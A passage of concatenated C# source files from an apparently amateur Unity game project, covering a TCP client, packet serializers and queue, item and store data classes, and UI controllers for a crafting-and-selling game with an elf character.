return myClientSocket.Send( data, data.Length, SocketFlags.None );
}
catch ( NullReferenceException e )
{
Debug.Log( e.StackTrace );
Debug.Log( e.Message );
Debug.Log( "Client : Null Reference Exception - Send (send section)" );
return -1;
}
catch ( SocketException e )
{
Debug.Log( e.StackTrace );
Debug.Log( e.ErrorCode );
Debug.Log( "Client : Socket Exception - Send (send section)" );
return -1;
}
}
// disconnect from server
public void Disconnect()
{
try
{
myClientSocket.Close();
}
catch ( NullReferenceException e )
{
Debug.Log( e.Message );
Debug.Log( e.InnerException );
Debug.Log( "Client : Null Reference Exception - On Disconnect (close section)" );
}
catch ( SocketException e )
{
Debug.Log( e.ErrorCode );
Debug.Log( e.InnerException );
Debug.Log( "Client : Socket Exception - On Disconnect (close section)" );
}
}
}<file_sep>using System;
public class ItemCreateRequestPacket : Packet<ItemCreateRequestData, ItemCreateRequestSerializer>
{
// constructor - packet data
public ItemCreateRequestPacket(ItemCreateRequestData data)
{
// allocate serializer
serializer = new ItemCreateRequestSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public ItemCreateRequestPacket(byte[] data)
{
// allocate serializer
serializer = new ItemCreateRequestSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new ItemCreateRequestData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override ItemCreateRequestData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ClientToServerPacket.ItemCreateRequest;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using System;
using System.IO;
public class HeaderSerializer : Serializer
{
// serialize packet header
public bool Serialize(PacketHeader data)
{
// clear buffer
Clear();
// serialize element
bool result = true;
result &= Serialize(data.id);
result &= Serialize(data.length);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return true;
}
// deserialize packet header
public bool Deserialize(ref PacketHeader data)
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// return data initialize
byte packetID = 1;
short packetLength = 0;
// data deserialize
result &= Deserialize(ref packetID);
result &= Deserialize(ref packetLength);
// input data
data.id = packetID;
data.length = packetLength;
// return result
return result;
}
}
<file_sep>using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Net;
using System.Net.Sockets;
public class NetworkController : MonoBehaviour
{
// client connection socket
[SerializeField] ClientNetworkProcessor clientProcessor;
// queue -> input / output check point
[SerializeField] PacketQueue receiveQueue;
// delegate -> for packtet receive check
public delegate void ReceiveNotifier(byte[] data);
// client notifier set -> socket library
Dictionary <int, ReceiveNotifier> notifierForClient = new Dictionary<int, ReceiveNotifier>();
// byte array data
byte[] receiveBuffer;
byte[] sendBuffer;
const int bufferSize = 2048;
// server information
[SerializeField] string serverIP;
[SerializeField] int serverPort;
// unity method
// data initailize
void Awake()
{
// allocate queue
receiveQueue = new PacketQueue();
// allocate buffer
receiveBuffer = new byte[bufferSize];
sendBuffer = new byte[bufferSize];
// client information set
clientProcessor = new ClientNetworkProcessor();
clientProcessor.OnReceived += OnReceivedPacketFromServer;
clientProcessor.SetServerInformation( serverIP, serverPort );
}
void Update()
{
Receive( clientProcessor.ClientSocket );
}
// game quit
void OnApplicationQuit()
{
clientProcessor.Disconnect();
}
// private method
// packet seperate id / data
public bool SeperatePacket( byte[] originalData, out int packetID, out byte[] seperatedData )
{
PacketHeader header = new PacketHeader();
HeaderSerializer serializer = new HeaderSerializer();
serializer.SetDeserializedData( originalData );
serializer.Deserialize( ref header );
int headerSize = Marshal.SizeOf( header.id ) + Marshal.SizeOf( header.length );
int packetDataSize = originalData.Length - headerSize;
byte[] packetData = null;
if( packetDataSize > 0 )
{
packetData = new byte[packetDataSize];
Buffer.BlockCopy( originalData, headerSize, packetData, 0, packetData.Length );
}
else
{
packetID = header.id;
seperatedData = null;
return false;
}
packetID = header.id;
seperatedData = packetData;
return true;
}
// enqueue - receive queue
private void OnReceivedPacketFromServer( byte[] message, int size )
{
receiveQueue.Enqueue( message, size );
}
// public method
// start network connection
public bool ConnectToServer( string serverIP, int serverPort )
{
clientProcessor.SetServerInformation( serverIP, serverPort );
return clientProcessor.Connect();
}
// data receive
public void Receive( Socket socket )
{
int count = receiveQueue.Count;
for ( int i = 0; i < count; i++ )
{
int receiveSize = 0;
receiveSize = receiveQueue.Dequeue( ref receiveBuffer, receiveBuffer.Length );
// packet precess
if( receiveSize > 0 )
{
byte[] message = new byte[receiveSize];
Array.Copy( receiveBuffer, message, receiveSize );
int packetID;
byte[] packetData;
// packet seperate -> header / data
SeperatePacket( message, out packetID, out packetData );
ReceiveNotifier notifier;
notifierForClient.TryGetValue( packetID, out notifier );
notifier( packetData );
// use notifier
try
{
}
catch ( NullReferenceException e )
{
Debug.Log( e.StackTrace );
Debug.Log( e.Message );
Debug.Log( "Client : Null Reference Exception - On Receive (use notifier)" );
}
}
}
}
public void Send<T,U>( Packet<T,U> packet )
{
clientProcessor.Send( packet );
}
// client receive notifier register
public void RegisterServerReceivePacket( int packetID, ReceiveNotifier notifier )
{
notifierForClient.Add( packetID, notifier );
}
// client receive notifier unregister
public void UnregisterServerReceivePackter( int packetID )
{
notifierForClient.Remove( packetID );
}
}
<file_sep>using UnityEngine;
using UnityEngine.EventSystems;
using UnityEngine.UI;
using System;
using System.Collections;
using System.Collections.Generic;
public class StepView : MonoBehaviour ,IPointerEnterHandler, IPointerExitHandler
{
Text stepTextField;
// Use this for initialization
//stepTextField.text = ("Step " + ???.step.ToString() +" (" + ???.presentExp.ToString() + " / " + ???.requireExp.ToString() + ") ");
public void OnPointerEnter(PointerEventData eventData)
{
//테두리강화
}
public void OnPointerExit (PointerEventData eventDate)
{
//테두리강화삭제
}
}
<file_sep>using System;
public class MoneyDataPacket : Packet<MoneyData, MoneyDataSerializer>
{
// constructor - packet data
public MoneyDataPacket(MoneyData data)
{
// allocate serialier
serializer = new MoneyDataSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public MoneyDataPacket(byte[] data)
{
// allocate serializer
serializer = new MoneyDataSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new MoneyData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override MoneyData GetData()
{
return dataElement;
}
// return packet data -> packet od
public override int GetPacketID()
{
return (int)ServerToClientPacket.MoneyData;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using System;
public class StoreCreateRequestSerializer : Serializer
{
// serialize store update request data
public bool Serialize(StoreCreateRequestData data)
{
// clear buffer
Clear();
//serialize element
bool result = true;
result &= Serialize(data.storeType);
result &= Serialize(data.playerID);
result &= Serialize(".");
result &= Serialize(data.storeID);
result &= Serialize(".");
result &= Serialize(data.storeName);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return result;
}
// deserialize store update request data
public bool Deserialize(ref StoreCreateRequestData data)
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// data intialize
byte storeType = 0;
result &= Deserialize(ref storeType);
data.storeType = storeType;
// packet -> multiple string -> seperate string
string linkedString;
result &= Deserialize(out linkedString, (int)GetDataSize());
string[] dataSet = linkedString.Split('.');
// input data
data.playerID = dataSet[0];
data.storeID = dataSet[1];
data.storeName = dataSet[2];
// return result
return result;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
public class PacketQueue
{
// inner class packet information
class PacketInfo
{
public int offset;
public int size;
}
// write memory
MemoryStream streamBuffer;
int memoryOffset;
// input data & allocate infomation
byte[] tempData;
List<PacketInfo> packetList;
// object - use lock
object lockObject;
// constructor - default
public PacketQueue()
{
tempData = new byte[2048];
streamBuffer = new MemoryStream();
packetList = new List<PacketInfo>();
lockObject = new object();
}
// stream size
public int Count { get { return memoryOffset; } }
// en queue
public int Enqueue(byte[] data, int size)
{
// create new packet information
PacketInfo info = new PacketInfo();
// allocate packet information
info.offset = memoryOffset;
info.size = size;
// lock & write buffer in stream buffer
lock (lockObject)
{
// add packet list
packetList.Add(info);
// write buffer
streamBuffer.Position = memoryOffset;
streamBuffer.Write(data, 0, size);
streamBuffer.Flush();
memoryOffset += size;
}
return size;
}
// de queue
public int Dequeue(ref byte[] buffer, int size)
{
// check empty
if (packetList.Count <= 0)
return -1;
int receiveSize = 0;
lock (lockObject)
{
// set first element
PacketInfo info = packetList[0];
// copy data
int dataSize = Math.Min(size, info.size);
streamBuffer.Position = info.offset;
receiveSize = streamBuffer.Read(buffer, 0, dataSize);
// delete first element
if (receiveSize > 0)
{
packetList.RemoveAt(0);
}
// clean stream
if (packetList.Count == 0)
{
Clear();
memoryOffset = 0;
}
}
return receiveSize;
}
// clear queue
public void Clear()
{
// clean stream buffer
byte[] buffer = streamBuffer.GetBuffer();
Array.Clear(buffer, 0, buffer.Length);
// set stream buffer information
streamBuffer.Position = 0;
streamBuffer.SetLength(0);
}
}
<file_sep>using System;
public class ItemAcquireResultPacket : Packet<ItemAcquireResultData, ItemAcquireResultSerializer>
{
// constructor - packet data
public ItemAcquireResultPacket(ItemAcquireResultData data)
{
// allocate serialzier
serializer = new ItemAcquireResultSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public ItemAcquireResultPacket(byte[] data)
{
// allocate serializer
serializer = new ItemAcquireResultSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new ItemAcquireResultData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override ItemAcquireResultData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ServerToClientPacket.ItemAcquireResult;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using System;
public class GameDataRequestPacket : Packet <GameDataRequestData, GameDataRequestSerializer>
{
// constructor - packet data
public GameDataRequestPacket(GameDataRequestData data)
{
// allocate serialzier
serializer = new GameDataRequestSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public GameDataRequestPacket(byte[] data)
{
// allocate serializer
serializer = new GameDataRequestSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new GameDataRequestData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override GameDataRequestData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ClientToServerPacket.GameDataRequest;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using System;
public class LoginResultPacket : Packet<LoginResultData, LoginResultSerializer>
{
// constructor - packet data
public LoginResultPacket( LoginResultData data )
{
// allocate serialzier
serializer = new LoginResultSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public LoginResultPacket( byte[] data )
{
// allocate serializer
serializer = new LoginResultSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new LoginResultData();
// deserialize data
serializer.Deserialize( ref dataElement );
}
// return data set
public override LoginResultData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int) ServerToClientPacket.LoginResult;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize( dataElement );
return serializer.GetSerializeData();
}
}
<file_sep>using System;
using UnityEngine;
[System.Serializable]
public class Item
{
// primary key
[SerializeField] string id;
// elements
[SerializeField] string name;
[SerializeField] int price;
[SerializeField] float makeTime;
[SerializeField] String[] recipe;
[SerializeField] int[] recipeCount;
[SerializeField] bool onSell;
[SerializeField] int sellPrice;
[SerializeField] int sellCount;
[SerializeField] int count;
[SerializeField] float storeExp;
[SerializeField] Store.StoreType type;
// property
public string ID { get { return id; } }
public string Name { get { return name; } }
public int Price { get { return price; } }
public float MakeTime { get { return makeTime; } }
public string[] Recipe { get { return recipe; } }
public int[] RecipeCount { get { return recipeCount; } }
public bool OnSell { get { return onSell; } set { onSell = value; } }
public int SellPrice { get { return sellPrice; } set { sellPrice = value; } }
public int SellCount { get { return sellCount; } set { sellCount = value; } }
public int Count { get { return count; } set { count = value; } }
public Store.StoreType StoreType { get { return type; } set { type = value; } }
// constructor - no parameter
public Item()
{
id = "0000";
name = null;
price = 0;
makeTime = 0f;
recipe = null;
recipeCount = null;
onSell = false;
sellPrice = 0;
sellCount = 0;
storeExp = 0;
type = Store.StoreType.Default;
}
// constructor = all item parameter
public Item( string _id, string _name, int _price, float _makeTime, string[] _recipe, int[] _recipeCount, bool _onSell, float _storeExp, Store.StoreType _type )
{
id = _id;
name = _name;
price = _price;
makeTime = _makeTime;
recipe = _recipe;
recipeCount = _recipeCount;
onSell = _onSell;
storeExp = _storeExp;
type = _type;
}
public Item( Item data )
{
id = data.id;
name = data.name;
price = data.price;
makeTime = data.makeTime;
recipe = data.recipe;
recipeCount = data.recipeCount;
onSell = data.onSell;
sellPrice = data.sellPrice;
sellCount = data.sellCount;
storeExp = data.storeExp;
type = data.type;
}
public Item( ItemData data )
{
id = data.itemID;
name = data.itemName;
price = data.price;
onSell = data.isSell;
sellPrice = data.sellPrice;
sellCount = data.sellCount;
Item tempDataSet = new Item( Database.Instance.FindItemUseID( id ) );
makeTime = tempDataSet.makeTime;
recipe = tempDataSet.recipe;
recipeCount = tempDataSet.recipeCount;
storeExp = tempDataSet.storeExp;
type = tempDataSet.type;
}
}<file_sep>using System;
public class JoinResultSerializer : Serializer
{
// serialize join result data
public bool Serialize( JoinResultData data )
{
// clear buffer
Clear();
// serialize element
bool result = true;
result &= Serialize( data.joinResult );
result &= Serialize( data.message );
// failure serialize -> method exit
if( !result )
return false;
// success serialize -> return result
return result;
}
// deserialize join result data
public bool Deserialize( ref JoinResultData data )
{
// set deserialize data
bool result = ( GetDataSize() > 0 ) ? true : false;
// data read failure -> method exit
if( !result )
return false;
// return data initialize
bool joinResult = false;
string message;
// data deserizlize
result &= Deserialize( ref joinResult );
result &= Deserialize( out message, (int) GetDataSize() );
// input data
data.joinResult = joinResult;
data.message = message;
// return result
return result;
}
}<file_sep>using System;
public class ItemAcquireRequestPacket : Packet<ItemAcquireRequestData, ItemAcquireRequestSerializer>
{
// constructor - packet data
public ItemAcquireRequestPacket(ItemAcquireRequestData data)
{
// allocate serializer
serializer = new ItemAcquireRequestSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public ItemAcquireRequestPacket(byte[] data)
{
// allocate serializer
serializer = new ItemAcquireRequestSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new ItemAcquireRequestData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override ItemAcquireRequestData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ClientToServerPacket.ItemAcquireRequest;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using UnityEngine;
using System.Collections;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using UnityEngine.SceneManagement;
using System.Collections.Generic;
public class GameController : MonoBehaviour
{
Vector3 cameraDistance;
[SerializeField] ElfCharacter elf;
[SerializeField] GameObject elfcharcter;
[SerializeField] public int Lv;
[SerializeField] bool matHit;
[SerializeField] RaycastHit hitPoint;
[SerializeField] Ray point;
[SerializeField] GameObject mat;
[SerializeField] List <GameObject> makeItem = new List<GameObject>();
// [SerializeField] ItemViewLogic[] soldItem;
[SerializeField] UIManager CreateOrSelect;
[SerializeField] GameViewSecondStep secondStepUI;
[SerializeField] int layer;
[SerializeField] HouseManager house;
[SerializeField] GameObject[] ItemList;
[SerializeField] GameObject[] itemCheck;
// Use this for initializationpublic
void Start()
{
Vector3 charPos = new Vector3( 3.0f, 0f, 5.6f );
var elfChar = Instantiate( Resources.Load<GameObject>( "Prefab/PlayerElf" ), charPos, transform.rotation );
elfChar.name = "PlayerElf";
Application.targetFrameRate = 80;
cameraDistance = new Vector3( 0f, 7.5f, -8f );
matHit = false;
mat = GameObject.FindGameObjectWithTag( "Mat" );
secondStepUI = GameObject.Find( "SecondStepUI" ).GetComponent<GameViewSecondStep>();
secondStepUI.ChangeSecondUIMode( GameViewSecondStep.SecondStepMode.NormalStep );
itemCheck = new GameObject[2];
elf = GameObject.FindGameObjectWithTag( "Player" ).GetComponent<ElfCharacter>();
secondStepUI.Elf = GameObject.Find( "PlayerElf" ).GetComponent<ElfCharacter>();
}
// Update is called once per frame
void Update()
{
if( !EventSystem.current.IsPointerOverGameObject() )
{
if( Input.GetButtonDown( "Move" ) )
{
point = Camera.main.ScreenPointToRay( Input.mousePosition );
layer = 1 << LayerMask.NameToLayer( "Terrain" );
layer |= 1 << LayerMask.NameToLayer( "Mat" );
if( Physics.Raycast( point, out hitPoint, Mathf.Infinity, layer ) )//terrain 이외 다른 걸 무시, 없으면 얘 무시
{
if( hitPoint.transform.tag == "Terrain" )
{
InTerrainRay();
secondStepUI.ChangeSecondUIMode( GameViewSecondStep.SecondStepMode.NormalStep );
}
else if( hitPoint.transform.tag == "Mat" && !matHit )
{
InsertMatRay();
secondStepUI.ChangeSecondUIMode( GameViewSecondStep.SecondStepMode.AuctionStep );
}
else if( hitPoint.transform.tag == "Mat" && elf.makeTime && matHit )
{
MakeItemRay();
}
}
}
}
}
public void InTerrainRay()
{
elf.Destination = hitPoint.point;
elf.isStopMat = false;
matHit = false;
elf.MakeTime( false );
}
public void InsertMatRay()
{
matHit = true;
hitPoint.point = new Vector3( 0.3f, 0.0f, -2.4f );
elf.Destination = hitPoint.point;
elf.transform.rotation = new Quaternion( transform.rotation.x, 180, transform.rotation.z, 0 );
elf.isStopMat = true;
}
public void MakeItemRay()
{
Vector3 destination;
destination = hitPoint.point;
//summonposition chec
//popup itemprice
//SummonItem ();
}
public void SummonItem()
{
ItemList = GameObject.FindGameObjectsWithTag( "Slot" );
//Debug.Log (itemCheck.);
if( itemCheck[0] != null && itemCheck[1] != null )
{
Debug.Log( "Full" );
}
else
{
if( itemCheck[0] == null )
{
var Item = (GameObject) Instantiate( makeItem[0], ItemList[0].transform.position, transform.rotation );
itemCheck[0] = Item;
}
else
{
var Item = (GameObject) Instantiate( makeItem[0], ItemList[1].transform.position, transform.rotation );
itemCheck[1] = Item;
}
}
secondStepUI.ItemSettingExit();
secondStepUI.SellPrice = 0;
secondStepUI.MoneyText.text = 0 + "원";
}
}<file_sep>using UnityEngine;
using System.Collections;
public class HouseManager : MonoBehaviour
{
public GameObject myHouse;
public Renderer rend;
public float mat;
public GameObject playerElf;
public BoxCollider[] HouseBox;
public BoxCollider box;
public float Mat
{
get {
return this.mat;
}
set {
mat = value;
}
}
// Use this for initialization
void Start ()
{
myHouse = GameObject.FindGameObjectWithTag ("House");
//rend = GetComponent<Renderer> ();
rend = GameObject.FindGameObjectWithTag("House").GetComponent<Renderer>();//GetComponent<Renderer> ();
playerElf = GameObject.FindGameObjectWithTag ("Player");
}
// Update is called once per frame
void Update ()
{
float searchRange = Vector3.Distance (playerElf.transform.position, myHouse.transform.position);
mat = searchRange - 9;
if (mat >= 1)
{
rend.material.color = new Color (1, 1, 1, 1);
}
else if (mat < 1)
{
if (mat < 0.2f)
{
mat = 0.2f;
}
else
{
rend.enabled = true;
rend.material.color = new Color (1, 1, 1, mat);
}
}
}
public void HouseActiveTrue(bool state)
{
if (state)
{
myHouse.SetActive (true);
}
else
{
myHouse.SetActive (false);
}
}
}<file_sep>using System;
public class LoginResultSerializer : Serializer
{
// serialize login result data
public bool Serialize( LoginResultData data )
{
// clear buffer
Clear();
// serialize element
bool result = true;
result &= Serialize( data.loginResult );
result &= Serialize( data.message );
// failure serialize -> method exit
if( !result )
return false;
// success serialize -> return result
return true;
}
// deserialize login result data
public bool Deserialize( ref LoginResultData data )
{
// set deserialize data
bool result = ( GetDataSize() > 0 ) ? true : false;
// data read failure -> method exit
if( !result )
return false;
// return data initialize
bool loginResult = false;
string message ;
// data deserizlize
result &= Deserialize( ref loginResult );
result &= Deserialize( out message, (int) GetDataSize() );
// input data
data.loginResult = loginResult;
data.message = message;
// return result
return result;
}
}
<file_sep>using System;
public class ItemCreateResultPacket : Packet<ItemCreateResultData, ItemCreateResultSerializer>
{
// constructor - packet data
public ItemCreateResultPacket(ItemCreateResultData data)
{
// allocate serialzier
serializer = new ItemCreateResultSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public ItemCreateResultPacket(byte[] data)
{
// allocate serializer
serializer = new ItemCreateResultSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new ItemCreateResultData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override ItemCreateResultData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ServerToClientPacket.ItemCreateResult;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using System.Collections;
using UnityEngine;
using UnityEngine.UI;
public class LoginForm : MonoBehaviour
{
// field
[SerializeField] GameManager manager;
[SerializeField] InputField ipInput;
[SerializeField] InputField portInput;
[SerializeField] InputField idInput;
[SerializeField] InputField passwordInput;
//property
public string IP { get { return ipInput.text; } }
public int Port { get { return 9800; } }
public string ID { get { return idInput.text; } }
public string Password { get { return passwordInput.text; } }
// Use this for initialization
void Start()
{
}
// Update is called once per frame
void Update()
{
if( ipInput.isFocused )
{
if( Input.GetKeyUp( KeyCode.Tab ) )
portInput.Select();
}
else if( portInput.isFocused )
{
if( Input.GetKeyUp( KeyCode.Tab ) )
idInput.Select();
}
else if( idInput.isFocused )
{
if( Input.GetKeyUp( KeyCode.Tab ) )
passwordInput.Select();
}
else if( passwordInput.isFocused )
{
if( Input.GetKeyUp( KeyCode.KeypadEnter ) )
manager.SendJoinRequest();
}
}
}
<file_sep>using System;
public class ItemAcquireRequestSerializer : Serializer
{
// serialize item Acquire request data
public bool Serialize(ItemAcquireRequestData data)
{
// clear buffer
Clear();
//serialize element
bool result = true;
result &= Serialize(data.count);
result &= Serialize(data.playerID);
result &= Serialize(".");
result &= Serialize(data.itemID);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return result;
}
// deserialize item acquire request data
public bool Deserialize(ref ItemAcquireRequestData data)
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// return data initialize
short count = 0;
// remain data deserialize
result &= Deserialize(ref count);
// input data
data.count = count;
// packet -> multiple string -> seperate string
string linkedString;
result &= Deserialize(out linkedString, (int)GetDataSize());
string[] dataSet = linkedString.Split('.');
// input data
data.playerID = dataSet[0];
data.itemID = dataSet[1];
// return result
return result;
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using System.Collections;
public class RecipeDisplayItem : DisplayItem
{
public void UpdateComponent( string itemID, int count, Player playerData )
{
// set image
itemImage.sprite = Resources.Load<Sprite>( "ItemIcon/" + Database.Instance.FindItemUseID(itemID).Name );
// set item text
string result = null;
if( playerData.FindItemByID( itemID ) == null )
result += "0";
else
result += playerData.FindItemByID( itemID ).Count.ToString();
result += " / " + count.ToString ();
itemText.text = result;
}
public void ClearComponent()
{
string path = "???";
itemImage.sprite = null;
//itemImage.sprite = Resources.Load<Sprite> (path);//set default
itemText.text = null;
}
}
<file_sep>using System;
public class MoneyDataSerializer : Serializer
{
// serialize money data
public bool Serialize(MoneyData data)
{
// clear buffer
Clear();
// serialize element
bool result = true;
result &= Serialize(data.money);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return result;
}
// deserialize money data
public bool Deserialize( ref MoneyData data )
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// set data
int money = 0;
// deserialize data
result &= Deserialize(ref money);
// input data
data.money = money;
// return result
return result;
}
}
<file_sep>using System.Collections;
using UnityEngine;
using UnityEngine.UI;
public class ProduceMain : MonoBehaviour
{
//this class control;
[SerializeField] ProduceItemList produceItemList;
[SerializeField] RecipeItemSet recipeItemList;
[SerializeField] GameManager manager;
[SerializeField] public UserInterfaceController mainUI;
//link
public void LinkComponentElement()
{
manager = GameObject.Find ("GameLogic").GetComponent<GameManager> ();
produceItemList.LinkComponentElement();
recipeItemList.LinkComponentElement();
}
//Mothod tree : produceButtonObject -> Buttonevent ->produceItemButtonClick-> Renewadditem
public void ProduceItemButtonClick()
{
}
public void ProduceItemListClick(Item selectedData)
{
produceItemList.ProduceItemFindClick (selectedData);
recipeItemList.SendItemViewItemUpdate (selectedData, manager.PlayerData);
}
public void ProduceAbleItemListSend( Store data )
{
}
// update component element
public void UpdateSelectedItemSend( Player data )
{
}
//button click method
public void SetProduceItem( Item item )
{
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
public class SellViewSet : MonoBehaviour, IPointerDownHandler
{
[SerializeField]ProducedItem producedItem;
[SerializeField]Item selectItem;
// link component element
public void LinkComponentElement()
{
producedItem.LinkComponentElement();
//sellButton.LinkComponentElement ();
}
//playerDisplayItem -> button -> sellSelectedItem;
public void SellSelectedItem( Item selectedData )
{
selectItem = selectedData;
//producedItem.LinkComponentElement();
producedItem.SelectItem(selectedData);
Debug.Log( "this infomation get from PlayerDisplayItem and send producedItem.SelectItem" );
}
public Item GetSellSelectItem()
{
return selectItem;
}
//sellButton click
public void SellButtonClick()
{
//playerdata.HaveItem // 아이템 빼기;
}
// update component element
public void UpdateComponentElement( Player data )
{
}
public void SellProcess( Player data )
{
}
public void OnPointerDown( PointerEventData eventdata )
{
}
}
<file_sep>using System.Collections;
using UnityEngine;
using UnityEngine.UI;
public class StoreElement : MonoBehaviour
{
[SerializeField] Image elementStoreImage;
[SerializeField] Store elementData;
[SerializeField] StoreSelectView motherUnit;
void Awake()
{
LinkComponentElement();
}
public void LinkComponentElement()
{
elementStoreImage = GetComponentInChildren<Image>();
motherUnit = GetComponentInParent<StoreSelectView>();
}
// update use storedata
public void UpdateStoreElement( Store data )
{
elementData = data;
elementStoreImage.sprite = Resources.Load<Sprite>( "StoreImage/" + data.ID );
}
// clear component for null data
public void ClearComponent()
{
elementData = null;
elementStoreImage.sprite = Resources.Load<Sprite>( "StoreImage/DefaultStoreImage" );
}
// on click method -> store select;
public void OnClickStoreSelect()
{
motherUnit.SetPresentStore( elementData );
}
}
<file_sep>using System;
public class GameDataRequestSerializer : Serializer
{
// serialize game data request data
public bool Serialize(GameDataRequestData data)
{
// clear buffer
Clear();
// serialize element
bool result = true;
result &= Serialize(data.playerID);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return true;
}
// deserialize game data request data
public bool Deserialize(ref GameDataRequestData data)
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// return data initialize
string playerID;
// data deserizlize
result &= Deserialize(out playerID, (int)GetDataSize());
// input data
data.playerID = playerID;
// return result
return result;
}
}
<file_sep>using UnityEngine;
using System.Collections;
using UnityEngine.UI;
using System;
using UnityEngine.EventSystems;
public class GameViewSecondStep : MonoBehaviour
{
public SecondStepMode presentMode;
public GameObject createPopUp;
public GameObject inventoryPopUp;
public Image settingImage;
public Image scrollBarItemImage;
public GameObject itemSetting;
public ElfCharacter elf;
public Text moneyText;
public int sellPrice = 0;
public enum SecondStepMode
{
NormalStep,
AuctionStep}
;
// property
public ElfCharacter Elf { get { return this.elf; } set { elf = value; } }
public Text MoneyText { get { return this.moneyText; } set { moneyText = value; } }
public SecondStepMode PresentMode { get { return presentMode; } }
public int SellPrice { get { return this.sellPrice; } set { sellPrice = value; } }
void Start()
{
Instantiate( Resources.Load<GameObject>( "UIObject/CharcterManager" ), transform.position, transform.rotation );
LinkElementComponent();
}
public void LinkElementComponent()
{
createPopUp = GameObject.Find( "SecondStepCreatePopUp" );
inventoryPopUp = GameObject.Find( "SellInventory" );
settingImage = transform.Find( "SellItemSetting" ).Find( "ItemImage" ).GetComponent<Image>();
scrollBarItemImage = createPopUp.transform.Find( "CreateItemImage" ).GetComponent<Image>();
createPopUp.SetActive( false );
inventoryPopUp.SetActive( false );
itemSetting.SetActive( false );
moneyText = transform.Find( "SellItemSetting" ).Find( "PriceText" ).GetComponent<Text>();
}
public void ChangeSecondUIMode( SecondStepMode UIMode )
{
switch ( UIMode )
{
case SecondStepMode.AuctionStep:
InitializeModeAuctionStep();
break;
case SecondStepMode.NormalStep:
InitializeModeNormalStep();
break;
}
}
public void InitializeModeAuctionStep()
{
//CashModeOn ();
inventoryPopUp.SetActive( true );
}
public void InitializeModeNormalStep()
{
inventoryPopUp.SetActive( false );
itemSetting.SetActive( false );
}
public void ItemPrice( string ItemImage )
{
itemSetting.SetActive( true );
switch ( ItemImage )
{
case "FirstImage":
settingImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadBagaete" );
break;
case "SecondImage":
settingImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadBear" );
break;
}
}
public void ItemPricePlus()
{
sellPrice += 100;
moneyText.text = sellPrice + "원";
}
public void ItemPriceMinus()
{
if( sellPrice <= 0 )
{
sellPrice = 0;
}
else
{
sellPrice -= 100;
}
moneyText.text = sellPrice + "원";
}
public void ItemSettingExit()
{
itemSetting.SetActive( false );
}
public void ScrollBarItemImageChange( string name )
{
switch ( name )
{
case "BreadBagaete":
scrollBarItemImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadBagaete" );
break;
case "BreadBear":
scrollBarItemImage.sprite = Resources.Load<Sprite>( "ItemImage\\ItemIconBreadBear" );
break;
case "BreadBream":
